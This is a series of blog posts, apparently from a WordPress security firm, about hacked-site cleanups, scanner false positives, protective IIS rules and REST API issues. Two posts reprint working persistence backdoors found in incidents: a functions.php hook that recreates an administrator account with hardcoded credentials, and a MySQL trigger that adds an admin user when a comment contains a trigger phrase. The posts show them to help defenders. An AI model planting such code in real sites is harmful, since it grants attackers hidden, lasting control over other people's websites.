How Another Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

In October, we wrote about how a hacker was able to re-add a malicious user to a hacked WordPress site using a database trigger. That isn’t the only way they can do that, as we found while working on cleaning up a hacked WordPress website recently. In this situation, as soon as a malicious Administrator account was deleted, a new account with the same account information would be created. The cause was code added to the end of the functions.php file for the theme currently in use on the website.

That code was as follows:

add_action( 'init', function () {
 
$username = 'kshivvamaster';
$password = 'Admin@2020';
$email_address = 'kshivva@gmail.com';
 
if ( ! username_exists( $username ) ) {
$user_id = wp_create_user( $username, $password, $email_address );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
 
} );

The first line causes the rest of the code to run whenever WordPress loads. The rest of the code checks if the username “kshivvamaster” exists. If it doesn’t exist, it creates a new account with that username along with the specified password and email address in the code. That account is given the Administrator role.

How a Hacker Was Able to Re-Add a Malicious User to a Hacked WordPress Site

It is pretty common for it to appear that hacked WordPress websites have gotten re-hacked. What we find from being brought in to re-clean them is that often websites haven’t been re-hacked, instead the original cleanup was incomplete, leaving parts of the hack in place. Often that is because whomever did the original clean up cut corners during the cleanup, but it is also possible the hacker has hidden something in ways that it would be reasonable to have missed, based on what hackers commonly do.

A recent post on WordPress’ forum mentioned an example of the latter, which is worth highlighting. According to the poster, a database trigger was added to the database for the website, which would create a new WordPress user account for the hacker. A database trigger involves code that runs automatically in certain circumstances. The code was:

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

The second line of that causes the rest of the code to run if a new blog comment is created that contains the phrase “are you struggling to get comments on your blog?” in it.

The rest of the code creates a new WordPress user account with the username “wpadmin” that has the Administrator role. As is pretty common, the email associated with the account is made to look like it might be something official or security related. In this case it is “wp-security@hotmail.com”.

What is slightly more sophisticated than we usually see with malicious WordPress user accounts created through the database is that the account has a creation date, and one well in the past, “2014-06-08 00:00:00”.

It is important to note for anyone coming across this while trying to figure out how a malicious WordPress user account has been added or re-added, that there are other ways hackers can do this. For example, if a hacker has direct access to the database, then they can create an account. So if, say, the database password wasn’t changed when the website was being cleaned up, the hacker might be able to gain access to the database that way. It is also possible for them to indirectly access the database, say, with malicious code in one of the website’s files.

Often times you can start figuring out how the hacker has re-gained access to the website by reviewing the log files for the website. Even in this case, there would be activity from the hacker logged, from when they posted the comment. Though, it wouldn’t be obvious that it would be malicious activity, as it would be when a request is being sent to a file on the website that shouldn’t be there or that shouldn’t be receiving direct requests.

Fresh Installs of WordPress Apparently Being Hacked Based on Public Disclosure From Let’s Encrypt

It’s long been a known issue that if you place a copy of WordPress on a publicly accessible website, but don’t configure it, hackers will eventually configure it, which gives them access to the website. This works because WordPress has no restrictions on configuring it once the files are loaded on the website and you can configure it with a database on another server, so you don’t need to have access to any existing logins for the website. This isn’t usually an issue since people upload WordPress and promptly configure it, but recent claims suggest that hackers have found a way to exploit this even in that type of situation.

Let’s Encrypt is a service that provides free SSL certificates. A message on their support forum described part of what appears to be going on here:

we found more sites, which was hacked very fastly after LE generated.
Our clients start installation after LE was green, but in meantime (max 15 minutes after LE) robot from 185.59.221.* come and use WP installation files to prepare hack. Days after – on all domain call malware script and start DDOS to IP from France. I think that it is because crt.sh is scanned.

A reply added further details and suggested that this part of a larger issue when it comes to hackers:

More likely they are directly polling the CT log servers, as the delay to detect new domains is much shorter. But yes, what you describe has been happening for a few years now. I see requests to paths like /.git/index within seconds of issuing new certificates!

The CT mentioned there refers to certificate transparency, which Let’s Encrypt describes this way:

Certificate Transparency (CT) is a system for logging and monitoring the issuance of TLS certificates. CT greatly enhances everyone’s ability to monitor and study certificate issuance, and these capabilities have led to numerous improvements to the CA ecosystem and Web security. As a result, CT is rapidly becoming critical infrastructure.

A topic on the WordPress’ support forum includes more discussion of what is happening and a common denominator of a malicious file being added at /wp-includes/.query.php.

One solution to this would be for WordPress to change the installation process to require that the person doing the configuration has control of the website, say, by adding a file. That would make the installation more complicated, but that might not be a big issue these days, with many installs of WordPress being handled through automated systems.

Another possible solution would be for Let’s Encrypt to delay disclosing information on newly issued certificates, which would not only have an impact on this particular situation, but possibly work against what else they are trying to accomplish.

Among the promoted sponsors and funders of Let’s Encrypt shown on their homepage, is Automattic, the company closely tied to WordPress, and several web hosts that have an emphasis on WordPress:

 

A Malicious File in Your WordPress Site’s Uploads Directory Doesn’t Necessarily Mean It Is Infected

Before we take on a hack cleanup of a WordPress website, we always want to make sure the website is actually hacked. That is important for an ethical security provider because in many instances where there is a belief or a claim that a WordPress website is infected with malware or otherwise infected, that turns out to not be the case.

Recently we had someone contact us that had a security company connected with their web host tell them their website contained malware. When they asked their web host to recheck things, the web host didn’t find what the security company claimed was there, but did find another issue. We were then contacted about the situation and could identify that there wasn’t an infection, but instead, what looked to be a failed hacking attempt 7 years ago.

What the web host identified was the location of a file and some sort of malware identity label, which won’t mean much to a lot of people:

/home1/[redacted]//wp-content/uploads/2015/01/aboudrar.php_.pdf: SL-PHP-SHELL-lt.UNOFFICIAL FOUND

The first part of is the path to the website on the server:

/home1/[redacted]/

Next up is the location where WordPress stores files being uploaded:

/wp-content/uploads/

The next part is the year and month the file would have been uploaded if done through WordPress’ media uploader:

/2015/01/

In most situation where a website has been hacked, it is possible for an attacker to add files in any location on the website, so malicious files could be in that location. But the name of the file indicates that this was uploaded through and WordPress’ security came in to play. The file name is:

aboudrar.php_.pdf

The underscore in the inner file extension very likely would have been added by WordPress. The reason for that is in certain server configurations, the file is processed based on each file extension, instead of just the last. If the file was processed using the inner file extension, .php, then any code in the file could run. By adding the underscore, that is stopped from happening.

What looks to have happened based on that information, is that in January 2015 a malicious file was uploaded, but WordPress restricted it from being able to infect the website.

A takeaway from this is that bringing someone knowledgeable about security can avoid doing an unnecessary hack cleanup. Also, if a security company offering to do hack cleanups without first assessing the situation, you would be best off finding someone else to help you.

Backups Made With WordPress Plugins Might Not Back Up All of Your Website

When it comes to dealing with a hacked website, one of the recommended solutions is to revert the website to a clean backup. There are multiple possible issues with that, including not knowing whether a backup is clean or not, as well as that reverting to a backup doesn’t resolve the underlying issue that caused the hack in the first place.

Another problem we noticed while dealing with a recent clean up of a hacked WordPress website is that backup plugins for WordPress don’t necessarily backup of all the website if there is content that isn’t handled through WordPress. While that makes sense from the perspective of the backup plugin, it is something that is necessarily going to be thought by those using them, until they run into a problem that requires the backup.

Whether that situation applies to your website or not, it is a good idea to check to make sure that backups being made are complete, as you can also run into issues with backups being incomplete for other reasons.

Wix Doesn’t Currently Support Importing WordPress Websites or Blogs

One of the services we offer is to do transfers of websites from one web host to another, though we often have people that contact us about this service looking to transfer the content of a website to or from a website design platform, like Weebly or Squarespace. We recently had someone contact us about moving a WordPress based website to one of those platforms, Wix. We did a quick to see if it was possible to do that, so we could at least let them know if that is possible, even though we don’t offer that. After we did that we tried to email them that information, but it turned out they hadn’t provided a valid email address, but we can at least share this information with others.

Currently Wix doesn’t support importing websites in to their service:

Currently, importing a site created outside of Wix is not supported.

They also don’t currently support importing blog content in to their service either:

Currently, importing blog content or data from an external source or blog is not supported.
So either you would need to do the transfer manually or look for a third-party solution for that.

These Security Rules Are Not an Indication Your WordPress Website is Hacked

Recently we mentioned the importance of security companies checking to make sure that websites they are being contacted about cleaning are in fact hacked. The reason for that is often problems unrelated to a hack are believed to beloved to be caused one, leading to people looking for unnecessary cleanups.

In one reason situation the person who contacted us was sure that their WordPress website was hacked due to rules (or code) in the web.config, which is a configuration for websites being hosted on IIS web servers, for the website that actually were there to protect the website.

As an example of what was at issue, the following rule would restrict accessing .php files in the WordPress uploads directory, which would prevent a hacker from running code if they could upload .php files through some vulnerability:

<rule name="Deny scripts from wp-content/uploads for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-content/uploads/.+\.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>

The rules may have been generated by the Plesk control panel.

Here are all the rules in question in case someone else is searching for information on this:

<rule name="Block wp-config.php for WordPress instances" enabled="true" stopProcessing="true">
	<match url="wp-config.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>
<rule name="Deny scripts from wp-includes for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-includes/.+\.php" />
	<conditions>
		<add input="{REQUEST_URI}" pattern="^/wp-includes/js/tinymce/wp-tinymce\.php$" ignoreCase="false" negate="true" />
	</conditions>
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>
<rule name="Deny scripts from wp-content/uploads for WordPress instance #6" enabled="true" stopProcessing="true">
	<match url="^wp-content/uploads/.+\.php" />
	<conditions />
	<serverVariables />
	<action type="CustomResponse" statusCode="403" statusReason="Forbidden" statusDescription="Forbidden" />
</rule>

Bad False Positives from Wordfence Security and Quttera Web Malware Scanner WordPress Plugins

We often have people contact us that believe that a claim that their website has been hacked is false because they ran a scanner over and it didn’t find anything. We are not really sure why they don’t ask for the evidence behind the claim and try to see if they can confirm if that is accurate or not instead of running a scanner over the website, but considering they are not doing that it might not be surprising that they are instead doing something that is likely to not produce great results.

One problem is that the even if the scanner is effective at what is attempting to scan for, it may not be able to detect the type of issue that lead to claim that the website is hacked. Let’s say a web host detects a malicious file on the website, well that probably would be be something that a scan of the website’s pages from the outside would never detect.

Another problem is lack of evidence that various scanners are actually effective at what they are attempting to scan for and from our own experience, plenty of evidence that they are not effective. One area where we have seen evidence of that going back many years is with really bad false positives that indicate that these scanners are incredibly crude, so crude in fact that if we weren’t well aware of how bad the security industry is, we would have a hard time believing that they were even occurring. Below are a couple of them in WordPress plugins that we recently ran across that show the current poor state of such tools.

Quttera Web Malware Scanner

The first comes from the plugin Quttera Web Malware Scanner, which has 10,000+ active install according to wordpress.org. In recent thread on the support forum for that someone mentioned getting a false positive for what is quite common code. The plugin will warn when matching “RewriteRule ^(.*)$ h” in a .htaccess file, which would match when do some fairly common rewriting of URLs. Just doing that rewriting is not in any way malicious. The developer’s explanation for that wasn’t that this was a mistake, but that:

We mark it as suspicious because there are multiple malware instances utilizing this technique to steal/redirect traffic from infected websites.

Simply because malware uses common coding isn’t a good reason to flag any usage of it and that will necessarily cause the results of a scanner to be of limited use.

Making it seem like the developer really doesn’t know what they are doing in general, the description for that detection is “Detected suspicious JavaScript redirection”, which makes no sense considering that type of code has nothing to do with JavaScript.

Wordfence Security

The second instance of this involves a much more popular plugin Wordfence Security, which has 2+ million active installs according to wordpress.org, that we have frequently seen people believe is much more capable than it really is (sometimes they ignored evidence right before their eyes to continue to believe that).

A thread on the support forum of the plugin Ultimate Member was recently started with:

Wordfence seems to think there is a malware URL somewhere in the file class-um-mobile-detect.php:

* File contains suspected malware URL: wp-content/plugins/ultimate-member/includes/lib/mobiledetect/class-um-mobile-detect.php

but on comparison, the file’s contents are exactly the same as the latest file offered on https://ultimatemember.com

Can someone comment?

In follow to a question by the developer of the mentioned plugin, the original poster wrote:

I’m using 2.0.23 but as I’ve said the file in question is identical to the one found in the latest version. So as I thought it is a false positive. Maybe Wordfence doubled up on UM after the latest malware exploit.

In reality it was just that Wordfence’s scanner incredibly crude as hinted at by another reply in the thread:

It is caused by the URL: “http://www.vonino.eu/tablets” which was reported to contain malware.

In my file, it’s only mentioned in a comment so I guess it’s safe.

What that is referring to is the following line in the file /wp-content/plugins/ultimate-member/includes/lib/mobiledetect/class-um-mobile-detect.php:

340
// Vonino Tablets - http://www.vonino.eu/tablets

Currently the domain vonino.eu is being flagged by Google as malicious:

That doesn’t in any way make a file that includes the domain in a commented out line in the code, which can’t run, in any way malicious. If the developer’s of Wordfence Security cared at all they could easily avoid that false positive, but considering they can get away with much worse it isn’t surprising they wouldn’t care about that. That also leaves more responsible plugin developers to have to deal with the fallout from those false claims.

The Developer of Cerber Security, Antispam & Malware Scan Gives Out Bad Advice To Push Their Plugin

When it comes the security industry around WordPress unfortunately there are many people that either don’t know what they are talking about or are intentionally peddling bad information to push products and services that provide little to no protection, while making things harder for companies that are actually doing the hard work to actually improve security.

We often run into examples of this even when we aren’t looking for them. We ran into another example just the other day when we went to look around for some information while working on a post about running into a problem with contact form due to WordPress’ REST API being disabled. That lead us to an example of someone at best not knowing what they are talking about when it comes to the basics of WordPress security while being the developer a security plugin, Cerber Security, Antispam & Malware Scan, that currently has 90,000+ active installs according to WordPress.org.

A big tell that developer doesn’t have a basic clue as to security surrounding WordPress is that a main feature of their plugin is blocking brute force attacks despite the fact that those are not happening. They also make this brute force related claim in the marketing materials for plugin:

By default, WordPress allows unlimited login attempts through the login form, XML-RPC or by sending special cookies. This allows passwords to be cracked with relative ease via brute force attack.

Saying that brute force attacks could crack a password relative ease is belied by the number of login attempts needed to actually test out all of the password combinations. Here is what we wrote about that previously:

To understand how you can tell that these brute force attacks are not happening, it helps to start by looking at what a brute force attack involves. A brute force attack does not refer to just any malicious login attempt, it involves trying to login by trying all possible passwords until the correct one is found, hence the “brute force” portion of the name. To give you an idea how many login attempts that would take, let’s use the example of a password made up of numbers and letters (upper case and lower case), but no special characters. Below are the number of possible passwords with passwords of various lengths:

  • 6 characters long: Over 56 billion possible combinations (or exactly 56,800,235,584)
  • 8 characters long: Over 218 trillion possible combinations (218,340,105,584,896)
  • 10 characters long: Over 839 quadrillion possible combinations  (839,299,365,868,340,224)
  • 12 characters long: Over 3 sextillion possible combinations  (3,226,266,762,397,899,821,056)

The post that we had run across was “Why it’s important to restrict access to the WP REST API”. The post is riddled with errors, for example citing someone as having discovered a vulnerability they didn’t.

The general problem was that they were suggesting disabling the REST API, which not at all coincidentally they touted their plugin did, because there could be security issues with it since it is new. But that is true of anything. In reality the vulnerability they discussed in the post actually showed how WordPress does a good job in handling security in one important way, since the auto update mechanism that has been in WordPress 3.7 allows the vast majority of WordPress website to be updated to a new security release in a very short time. Normally WordPress checks for updates every 12 hours and that can be shortened when a security update is being released, so most of the websites would likely have been updated in around 12 hours. With this vulnerability there was no evidence of it being exploited until after it was disclosed that it had been fixed a week after the version that fixed it was released (while the information on this vulnerability was held back for a week, other security updates were mentioned when it was released).

The developer though put forward a very different impression:

Unfortunately, the REST API bug had not yet been fixed. That leaves unprotected millions of websites around the world. It’s hard to believe but updating WordPress on shared hostings may take up to several weeks. How many websites have been hacked and infected?

That it may take several weeks to for WordPress on shared hosting to update is actually hard to believe, since it doesn’t appear to be true and no evidence was presented to back up a claim even they claim is counter-intuitive. The developer provides no evidence that any websites were hacked before the vulnerability was disclosed as having been fixed a week before, which as far as we are aware they couldn’t have since it doesn’t appear any were. That all probably shouldn’t be surprising since the developer apparently had never checked to see if brute force attacks were actually happening before building a plugin to protect against that.

For website where the auto update mechanism was disabled or didn’t work they did get mildy hacked due to this vulnerability, but that is the only vulnerability in more than a decade that we are aware of where there was any sizable number of websites hacked (in that time outdated WordPress installation have been frequently falsely blamed for the hacking of websites by security companies that either didn’t know what they were talking about or intentionally lying to get themselves press coverage). So disabling the REST API subsequent to this vulnerability being fixed has not actually improve the security of websites in any meaningful way.

There also was the issue of the developer conflating bugs and security vulnerabilities, which is important since having a lot of bugs fixed in something doesn’t mean that there was security risk.

The downside of disabling the REST API can be seen in that, like with the other plugin we mentioned in the post from earlier this week, this plugin can cause Contact Form 7 based forms to stop functioning. This exactly the kind of downside that often isn’t considered when people indiscriminately use WordPress security plugins and services without finding out first if there is any evidence that they provide effective protection. In this case what makes this stand out more to us is that our Plugin Vulnerabilities plugin, which is designed to help protect against a real issue, is much less popular than this plugin. It could be worse though, as another security plugin just designed to protect against brute force attacks has 2+ million active installs according to wordpress.org and it not only doesn’t protect against a real threat, but contains a security vulnerability of its own.

Disabling WordPress’ REST API Can Cause Contact Form 7 to Not Work

In our work for our Plugin Vulnerabilities service we frequently need to contact developers of WordPress plugins to let them know about security vulnerabilities in their plugins (either that we have discovered or that others have disclosed) and that often means submitting messages through contact forms (not surprisingly these are often handled by WordPress plugins). We have all too frequently run into situations where the contact forms didn’t work, which seems like a good reason for people managing websites with a low volume of contacts to periodically make sure that contact forms work, otherwise you could be missing out on messages.

In a recent instance of this, a loading graphic showed up after hitting Send and then that didn’t change to a message about the form being successfully sent. Pulling up the web browser’s console showed an error:

Failed to load resource: the server responded with a status of 401 (Unauthorized)

The page that related to was /wp-json/contact-form-7/v1/contact-forms/193/feedback, which would indicate the Contact Form 7 plugin was being used to handle the contact form. Visiting that page showed the following message:

{“code”:”rest_cannot_access”,”message”:”DRA: Only authenticated users can access the REST API.”,”data”:{“status”:401}}

Based on that it seems that disabling of WordPress’ REST API for those not logged in to WordPress caused the contact form to not work. A quick search showed that message was generated by another plugin, Disable REST API, which as the name suggest disables WordPress’ REST API.

As this shows, using something like that that disables the REST API can have some serious downsides. Not surprisingly for us, while looking into this we found someone in the WordPress security industry that doesn’t seem to have a clue about WordPress security pushing disabling it (and promoting using their plugin to do it), which we will discuss in a follow up post.